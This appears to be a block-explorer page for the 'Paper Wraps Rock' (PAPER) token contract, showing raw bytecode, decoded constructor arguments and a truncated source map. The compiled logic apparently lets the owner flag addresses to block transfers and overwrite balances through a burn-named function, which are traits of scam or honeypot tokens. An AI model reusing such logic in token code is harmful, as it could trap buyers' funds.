ffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054111561114857600960008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615610f1d5760008114610f18576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f0f90611cca565b60405180910390fd5b611147565b600960008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16610fb25760008111610fb1576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610fa890611cca565b60405180910390fd5b5b610fbd8383836113a9565b6000600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905081811015611044576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161103b90611d5c565b60405180910390fd5b818103600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555081600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546110d99190611824565b925050819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405161113d9190611591565b60405180910390a3505b5b6111a4565b60011515600760009054906101000a900460ff161515146111a3576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161119a90611cca565b60405180910390fd5b5b6111af8383836113ae565b505050565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611224576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161121b90611dee565b60405180910390fd5b6000600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050818110156112ab576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112a290611e80565b60405180910390fd5b816008546112b99190611ea0565b600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550816003600082825461130e9190611ea0565b92505081905550600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516113739190611591565b60405180910390a3505050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b505050565b505050565b600081519050919050565b600082825260208201905092915050565b60005b838110156113ed5780820151818401526020810190506113d2565b838111156113fc576000848401525b50505050565b6000601f19601f8301169050919050565b600061141e826113b3565b61142881856113be565b93506114388185602086016113cf565b61144181611402565b840191505092915050565b600060208201905081810360008301526114668184611413565b905092915050565b600080fd5b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b60006114a382611478565b9050919050565b6114b381611498565b81146114be57600080fd5b50565b6000813590506114d0816114aa565b92915050565b6000819050919050565b6114e9816114d6565b81146114f457600080fd5b50565b600081359050611506816114e0565b92915050565b600080604083850312156115235761152261146e565b5b6000611531858286016114c1565b9250506020611542858286016114f7565b9150509250929050565b60008115159050919050565b6115618161154c565b82525050565b600060208201905061157c6000830184611558565b92915050565b61158b816114d6565b82525050565b60006020820190506115a66000830184611582565b92915050565b6000806000606084860312156115c5576115c461146e565b5b60006115d3868287016114c1565b93505060206115e4868287016114c1565b92505060406115f5868287016114f7565b9150509250925092565b600060ff82169050919050565b611615816115ff565b82525050565b6000602082019050611630600083018461160c565b92915050565b600080fd5b600080fd5b600080fd5b60008083601f84011261165b5761165a611636565b5b8235905067ffffffffffffffff8111156116785761167761163b565b5b60208301915083602082028301111561169457611693611640565b5b9250929050565b6116a48161154c565b81146116af57600080fd5b50565b6000813590506116c18161169b565b92915050565b6000806000604084860312156116e0576116df61146e565b5b600084013567ffffffffffffffff8111156116fe576116fd611473565b5b61170a86828701611645565b9350935050602061171d868287016116b2565b9150509250925092565b60006020828403121561173d5761173c61146e565b5b600061174b848285016114c1565b91505092915050565b6000806040838503121561176b5761176a61146e565b5b6000611779858286016114c1565b925050602061178a858286016114c1565b9150509250929050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b600060028204905060018216806117db57607f821691505b602082108114156117ef576117ee611794565b5b50919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b600061182f826114d6565b915061183a836114d6565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0382111561186f5761186e6117f5565b5b828201905092915050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b60006118b06020836113be565b91506118bb8261187a565b602082019050919050565b600060208201905081810360008301526118df816118a3565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b6000611920826114d6565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff821415611953576119526117f5565b5b600182019050919050565b7f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f7760008201527f207a65726f000000000000000000000000000000000000000000000000000000602082015250565b60006119ba6025836113be565b91506119c58261195e565b604082019050919050565b600060208201905081810360008301526119e9816119ad565b9050919050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b6000611a4c6024836113be565b9150611a57826119f0565b604082019050919050565b60006020820190508181036000830152611a7b81611a3f565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b6000611ade6022836113be565b9150611ae982611a82565b604082019050919050565b60006020820190508181036000830152611b0d81611ad1565b9050919050565b7f45524332303a20696e73756666696369656e7420616c6c6f77616e6365000000600082015250565b6000611b4a601d836113be565b9150611b5582611b14565b602082019050919050565b60006020820190508181036000830152611b7981611b3d565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b6000611bdc6025836113be565b9150611be782611b80565b604082019050919050565b60006020820190508181036000830152611c0b81611bcf565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b6000611c6e6023836113be565b9150611c7982611c12565b604082019050919050565b60006020820190508181036000830152611c9d81611c61565b9050919050565b50565b6000611cb46000836113be565b9150611cbf82611ca4565b600082019050919050565b60006020820190508181036000830152611ce381611ca7565b9050919050565b7f45524332303a207472616e7366657220616d6f756e742065786365656473206260008201527f616c616e63650000000000000000000000000000000000000000000000000000602082015250565b6000611d466026836113be565b9150611d5182611cea565b604082019050919050565b60006020820190508181036000830152611d7581611d39565b9050919050565b7f45524332303a206275726e2066726f6d20746865207a65726f2061646472657360008201527f7300000000000000000000000000000000000000000000000000000000000000602082015250565b6000611dd86021836113be565b9150611de382611d7c565b604082019050919050565b60006020820190508181036000830152611e0781611dcb565b9050919050565b7f45524332303a206275726e20616d6f756e7420657863656564732062616c616e60008201527f6365000000000000000000000000000000000000000000000000000000000000602082015250565b6000611e6a6022836113be565b9150611e7582611e0e565b604082019050919050565b60006020820190508181036000830152611e9981611e5d565b9050919050565b6000611eab826114d6565b9150611eb6836114d6565b925082821015611ec957611ec86117f5565b5b82820390509291505056fea26469706673582212203b0184a18d7529ab5081a64114eb5812fc04401d9ff9eedc6ea6b313cdda4ab364736f6c634300080a0033000000000000000000000000000000000000000000000000000000000000008000000000000000000000000000000000000000000000000000000000000000c0000000000000000000000000000000000000000000000000000000174876e80000000000000000000000000000000000000000000000000000000000000000010000000000000000000000000000000000000000000000000000000000000010506170657220577261707320526f636b0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000055041504552000000000000000000000000000000000000000000000000000000

Deployed Bytecode

0x608060405234801561001057600080fd5b50600436106100f55760003560e01c806355a20ae7116100975780639dc29fac116100665780639dc29fac14610288578063a457c2d7146102a4578063a9059cbb146102d4578063dd62ed3e14610304576100f5565b806355a20ae71461020057806370a082311461023057806391b69fa01461026057806395d89b411461026a576100f5565b806323b872dd116100d357806323b872dd14610166578063313ce5671461019657806339509351146101b45780635178624c146101e4576100f5565b806306fdde03146100fa578063095ea7b31461011857806318160ddd14610148575b600080fd5b610102610334565b60405161010f919061144c565b60405180910390f35b610132600480360381019061012d919061150c565b6103c6565b60405161013f9190611567565b60405180910390f35b6101506103e9565b60405161015d9190611591565b60405180910390f35b610180600480360381019061017b91906115ac565b6103f3565b60405161018d9190611567565b60405180910390f35b61019e610422565b6040516101ab919061161b565b60405180910390f35b6101ce60048036038101906101c9919061150c565b61042b565b6040516101db9190611567565b60405180910390f35b6101fe60048036038101906101f991906116c7565b6104d5565b005b61021a60048036038101906102159190611727565b61060f565b6040516102279190611567565b60405180910390f35b61024a60048036038101906102459190611727565b610665565b6040516102579190611591565b60405180910390f35b6102686106ae565b005b61027261079d565b60405161027f919061144c565b60405180910390f35b6102a2600480360381019061029d919061150c565b61082f565b005b6102be60048036038101906102b9919061150c565b6108d2565b6040516102cb9190611567565b60405180910390f35b6102ee60048036038101906102e9919061150c565b6109bc565b6040516102fb9190611567565b60405180910390f35b61031e60048036038101906103199190611754565b6109df565b60405161032b9190611591565b60405180910390f35b606060058054610343906117c3565b80601f016020809104026020016040519081016040528092919081815260200182805461036f906117c3565b80156103bc5780601f10610391576101008083540402835291602001916103bc565b820191906000526020600020905b81548152906001019060200180831161039f57829003601f168201915b5050505050905090565b6000806103d1610a66565b90506103de818585610a6e565b600191505092915050565b6000600354905090565b6000806103fe610a66565b905061040b858285610c39565b610416858585610cc5565b60019150509392505050565b60006009905090565b600080610436610a66565b90506104ca818585600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546104c59190611824565b610a6e565b600191505092915050565b6104dd610a66565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461056a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610561906118c6565b60405180910390fd5b60005b838390508110156106095781600960008686858181106105905761058f6118e6565b5b90506020020160208101906105a59190611727565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550808061060190611915565b91505061056d565b50505050565b6000600960008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b6106b6610a66565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610743576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161073a906118c6565b60405180910390fd5b60001515600760009054906101000a900460ff161515141561077f576001600760006101000a81548160ff02191690831515021790555061079b565b6000600760006101000a81548160ff0219169083151502179055505b565b6060600680546107ac906117c3565b80601f01602080910402602001604051908101604052809291908181526020018280546107d8906117c3565b80156108255780601f106107fa57610100808354040283529160200191610825565b820191906000526020600020905b81548152906001019060200180831161080857829003601f168201915b5050505050905090565b610837610a66565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146108c4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016108bb906118c6565b60405180910390fd5b6108ce82826111b4565b5050565b6000806108dd610a66565b90506000600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050838110156109a3576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161099a906119d0565b60405180910390fd5b6109b08286868403610a6e565b60019250505092915050565b6000806109c7610a66565b90506109d4818585610cc5565b600191505092915050565b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610ade576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ad590611a62565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610b4e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b4590611af4565b60405180910390fd5b80600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051610c2c9190611591565b60405180910390a3505050565b6000610c4584846109df565b90507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8114610cbf5781811015610cb1576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ca890611b60565b60405180910390fd5b610cbe8484848403610a6e565b5b50505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610d35576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d2c90611bf2565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610da5576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d9c90611c84565b60405180910390fd5b60011515600760009054906101000a900460ff1615151480610df95750610dca611380565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16145b80610e365750610e07611380565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16145b1561114d576000600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054111561114857600960008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615610f1d5760008114610f18576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f0f90611cca565b60405180910390fd5b611147565b600960008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16610fb25760008111610fb1576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610fa890611cca565b60405180910390fd5b5b610fbd8383836113a9565b6000600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905081811015611044576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161103b90611d5c565b60405180910390fd5b818103600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555081600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546110d99190611824565b925050819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405161113d9190611591565b60405180910390a3505b5b6111a4565b60011515600760009054906101000a900460ff161515146111a3576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161119a90611cca565b60405180910390fd5b5b6111af8383836113ae565b505050565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611224576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161121b90611dee565b60405180910390fd5b6000600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050818110156112ab576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112a290611e80565b60405180910390fd5b816008546112b99190611ea0565b600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550816003600082825461130e9190611ea0565b92505081905550600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516113739190611591565b60405180910390a3505050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b505050565b505050565b600081519050919050565b600082825260208201905092915050565b60005b838110156113ed5780820151818401526020810190506113d2565b838111156113fc576000848401525b50505050565b6000601f19601f8301169050919050565b600061141e826113b3565b61142881856113be565b93506114388185602086016113cf565b61144181611402565b840191505092915050565b600060208201905081810360008301526114668184611413565b905092915050565b600080fd5b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b60006114a382611478565b9050919050565b6114b381611498565b81146114be57600080fd5b50565b6000813590506114d0816114aa565b92915050565b6000819050919050565b6114e9816114d6565b81146114f457600080fd5b50565b600081359050611506816114e0565b92915050565b600080604083850312156115235761152261146e565b5b6000611531858286016114c1565b9250506020611542858286016114f7565b9150509250929050565b60008115159050919050565b6115618161154c565b82525050565b600060208201905061157c6000830184611558565b92915050565b61158b816114d6565b82525050565b60006020820190506115a66000830184611582565b92915050565b6000806000606084860312156115c5576115c461146e565b5b60006115d3868287016114c1565b93505060206115e4868287016114c1565b92505060406115f5868287016114f7565b9150509250925092565b600060ff82169050919050565b611615816115ff565b82525050565b6000602082019050611630600083018461160c565b92915050565b600080fd5b600080fd5b600080fd5b60008083601f84011261165b5761165a611636565b5b8235905067ffffffffffffffff8111156116785761167761163b565b5b60208301915083602082028301111561169457611693611640565b5b9250929050565b6116a48161154c565b81146116af57600080fd5b50565b6000813590506116c18161169b565b92915050565b6000806000604084860312156116e0576116df61146e565b5b600084013567ffffffffffffffff8111156116fe576116fd611473565b5b61170a86828701611645565b9350935050602061171d868287016116b2565b9150509250925092565b60006020828403121561173d5761173c61146e565b5b600061174b848285016114c1565b91505092915050565b6000806040838503121561176b5761176a61146e565b5b6000611779858286016114c1565b925050602061178a858286016114c1565b9150509250929050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b600060028204905060018216806117db57607f821691505b602082108114156117ef576117ee611794565b5b50919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b600061182f826114d6565b915061183a836114d6565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0382111561186f5761186e6117f5565b5b828201905092915050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b60006118b06020836113be565b91506118bb8261187a565b602082019050919050565b600060208201905081810360008301526118df816118a3565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b6000611920826114d6565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff821415611953576119526117f5565b5b600182019050919050565b7f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f7760008201527f207a65726f000000000000000000000000000000000000000000000000000000602082015250565b60006119ba6025836113be565b91506119c58261195e565b604082019050919050565b600060208201905081810360008301526119e9816119ad565b9050919050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b6000611a4c6024836113be565b9150611a57826119f0565b604082019050919050565b60006020820190508181036000830152611a7b81611a3f565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b6000611ade6022836113be565b9150611ae982611a82565b604082019050919050565b60006020820190508181036000830152611b0d81611ad1565b9050919050565b7f45524332303a20696e73756666696369656e7420616c6c6f77616e6365000000600082015250565b6000611b4a601d836113be565b9150611b5582611b14565b602082019050919050565b60006020820190508181036000830152611b7981611b3d565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b6000611bdc6025836113be565b9150611be782611b80565b604082019050919050565b60006020820190508181036000830152611c0b81611bcf565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b6000611c6e6023836113be565b9150611c7982611c12565b604082019050919050565b60006020820190508181036000830152611c9d81611c61565b9050919050565b50565b6000611cb46000836113be565b9150611cbf82611ca4565b600082019050919050565b60006020820190508181036000830152611ce381611ca7565b9050919050565b7f45524332303a207472616e7366657220616d6f756e742065786365656473206260008201527f616c616e63650000000000000000000000000000000000000000000000000000602082015250565b6000611d466026836113be565b9150611d5182611cea565b604082019050919050565b60006020820190508181036000830152611d7581611d39565b9050919050565b7f45524332303a206275726e2066726f6d20746865207a65726f2061646472657360008201527f7300000000000000000000000000000000000000000000000000000000000000602082015250565b6000611dd86021836113be565b9150611de382611d7c565b604082019050919050565b60006020820190508181036000830152611e0781611dcb565b9050919050565b7f45524332303a206275726e20616d6f756e7420657863656564732062616c616e60008201527f6365000000000000000000000000000000000000000000000000000000000000602082015250565b6000611e6a6022836113be565b9150611e7582611e0e565b604082019050919050565b60006020820190508181036000830152611e9981611e5d565b9050919050565b6000611eab826114d6565b9150611eb6836114d6565b925082821015611ec957611ec86117f5565b5b82820390509291505056fea26469706673582212203b0184a18d7529ab5081a64114eb5812fc04401d9ff9eedc6ea6b313cdda4ab364736f6c634300080a0033

Constructor Arguments (ABI-Encoded and is the last bytes of the Contract Creation Code above)

000000000000000000000000000000000000000000000000000000000000008000000000000000000000000000000000000000000000000000000000000000c0000000000000000000000000000000000000000000000000000000174876e80000000000000000000000000000000000000000000000000000000000000000010000000000000000000000000000000000000000000000000000000000000010506170657220577261707320526f636b0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000055041504552000000000000000000000000000000000000000000000000000000

-----Decoded View---------------
Arg [0] : name (string): Paper Wraps Rock
Arg [1] : symbol (string): PAPER
Arg [2] : totalSupply (uint256): 100000000000
Arg [3] : initTransfer (bool): True

-----Encoded View---------------
8 Constructor Arguments found :
Arg [0] : 0000000000000000000000000000000000000000000000000000000000000080
Arg [1] : 00000000000000000000000000000000000000000000000000000000000000c0
Arg [2] : 000000000000000000000000000000000000000000000000000000174876e800
Arg [3] : 0000000000000000000000000000000000000000000000000000000000000001
Arg [4] : 0000000000000000000000000000000000000000000000000000000000000010
Arg [5] : 506170657220577261707320526f636b00000000000000000000000000000000
Arg [6] : 0000000000000000000000000000000000000000000000000000000000000005
Arg [7] : 5041504552000000000000000000000000000000000000000000000000000000


Deployed Bytecode Sourcemap

1220:345:5:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;2830:100:1;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5180:201;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;3949:108;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5961:295;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;3792:92;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;6665:240;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;13914:205;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;2621:139;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4120:127;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;2453:160;;;:::i;:::-;;3049:104;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;1455:107:5;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;7408:438:1;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4453:193;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4709:151;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;2830:100;2884:13;2917:5;2910:12;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;2830:100;:::o;5180:201::-;5263:4;5280:13;5296:12;:10;:12::i;:::-;5280:28;;5319:32;5328:5;5335:7;5344:6;5319:8;:32::i;:::-;5369:4;5362:11;;;5180:201;;;;:::o;3949:108::-;4010:7;4037:12;;4030:19;;3949:108;:::o;5961:295::-;6092:4;6109:15;6127:12;:10;:12::i;:::-;6109:30;;6150:38;6166:4;6172:7;6181:6;6150:15;:38::i;:::-;6199:27;6209:4;6215:2;6219:6;6199:9;:27::i;:::-;6244:4;6237:11;;;5961:295;;;;;:::o;3792:92::-;3850:5;3875:1;3868:8;;3792:92;:::o;6665:240::-;6753:4;6770:13;6786:12;:10;:12::i;:::-;6770:28;;6809:66;6818:5;6825:7;6864:10;6834:11;:18;6846:5;6834:18;;;;;;;;;;;;;;;:27;6853:7;6834:27;;;;;;;;;;;;;;;;:40;;;;:::i;:::-;6809:8;:66::i;:::-;6893:4;6886:11;;;6665:240;;;;:::o;13914:205::-;786:12:0;:10;:12::i;:::-;776:22;;:6;;;;;;;;;;:22;;;768:67;;;;;;;;;;;;:::i;:::-;;;;;;;;;13998:9:1::1;13993:119;14017:4;;:11;;14013:1;:15;13993:119;;;14097:3;14050:35;:44;14086:4;;14091:1;14086:7;;;;;;;:::i;:::-;;;;;;;;;;;;;;;:::i;:::-;14050:44;;;;;;;;;;;;;;;;:50;;;;;;;;;;;;;;;;;;14030:3;;;;;:::i;:::-;;;;13993:119;;;;13914:205:::0;;;:::o;2621:139::-;2684:4;2708:35;:44;2744:7;2708:44;;;;;;;;;;;;;;;;;;;;;;;;;2701:51;;2621:139;;;:::o;4120:127::-;4194:7;4221:9;:18;4231:7;4221:18;;;;;;;;;;;;;;;;4214:25;;4120:127;;;:::o;2453:160::-;786:12:0;:10;:12::i;:::-;776:22;;:6;;;;;;;;;;:22;;;768:67;;;;;;;;;;;;:::i;:::-;;;;;;;;;2528:5:1::1;2511:22;;:13;;;;;;;;;;;:22;;;2507:99;;;2561:4;2545:13;;:20;;;;;;;;;;;;;;;;;;2507:99;;;2599:5;2583:13;;:21;;;;;;;;;;;;;;;;;;2507:99;2453:160::o:0;3049:104::-;3105:13;3138:7;3131:14;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;3049:104;:::o;1455:107:5:-;786:12:0;:10;:12::i;:::-;776:22;;:6;;;;;;;;;;:22;;;768:67;;;;;;;;;;;;:::i;:::-;;;;;;;;;1532:22:5::1;1538:7;1547:6;1532:5;:22::i;:::-;1455:107:::0;;:::o;7408:438:1:-;7501:4;7518:13;7534:12;:10;:12::i;:::-;7518:28;;7557:24;7584:11;:18;7596:5;7584:18;;;;;;;;;;;;;;;:27;7603:7;7584:27;;;;;;;;;;;;;;;;7557:54;;7650:15;7630:16;:35;;7622:85;;;;;;;;;;;;:::i;:::-;;;;;;;;;7743:60;7752:5;7759:7;7787:15;7768:16;:34;7743:8;:60::i;:::-;7834:4;7827:11;;;;7408:438;;;;:::o;4453:193::-;4532:4;4549:13;4565:12;:10;:12::i;:::-;4549:28;;4588;4598:5;4605:2;4609:6;4588:9;:28::i;:::-;4634:4;4627:11;;;4453:193;;;;:::o;4709:151::-;4798:7;4825:11;:18;4837:5;4825:18;;;;;;;;;;;;;;;:27;4844:7;4825:27;;;;;;;;;;;;;;;;4818:34;;4709:151;;;;:::o;863:98:0:-;916:7;943:10;936:17;;863:98;:::o;11333:380:1:-;11486:1;11469:19;;:5;:19;;;;11461:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;11567:1;11548:21;;:7;:21;;;;11540:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;11651:6;11621:11;:18;11633:5;11621:18;;;;;;;;;;;;;;;:27;11640:7;11621:27;;;;;;;;;;;;;;;:36;;;;11689:7;11673:32;;11682:5;11673:32;;;11698:6;11673:32;;;;;;:::i;:::-;;;;;;;;11333:380;;;:::o;12000:453::-;12135:24;12162:25;12172:5;12179:7;12162:9;:25::i;:::-;12135:52;;12222:17;12202:16;:37;12198:248;;12284:6;12264:16;:26;;12256:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;12368:51;12377:5;12384:7;12412:6;12393:16;:25;12368:8;:51::i;:::-;12198:248;12124:329;12000:453;;;:::o;8325:1117::-;8472:1;8456:18;;:4;:18;;;;8448:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;8549:1;8535:16;;:2;:16;;;;8527:64;;;;;;;;;;;;:::i;:::-;;;;;;;;;8623:4;8606:21;;:13;;;;;;;;;;;:21;;;:40;;;;8639:7;:5;:7::i;:::-;8631:15;;:4;:15;;;8606:40;:57;;;;8656:7;:5;:7::i;:::-;8650:13;;:2;:13;;;8606:57;8602:785;;;8701:1;8683:9;:15;8693:4;8683:15;;;;;;;;;;;;;;;;:19;8680:6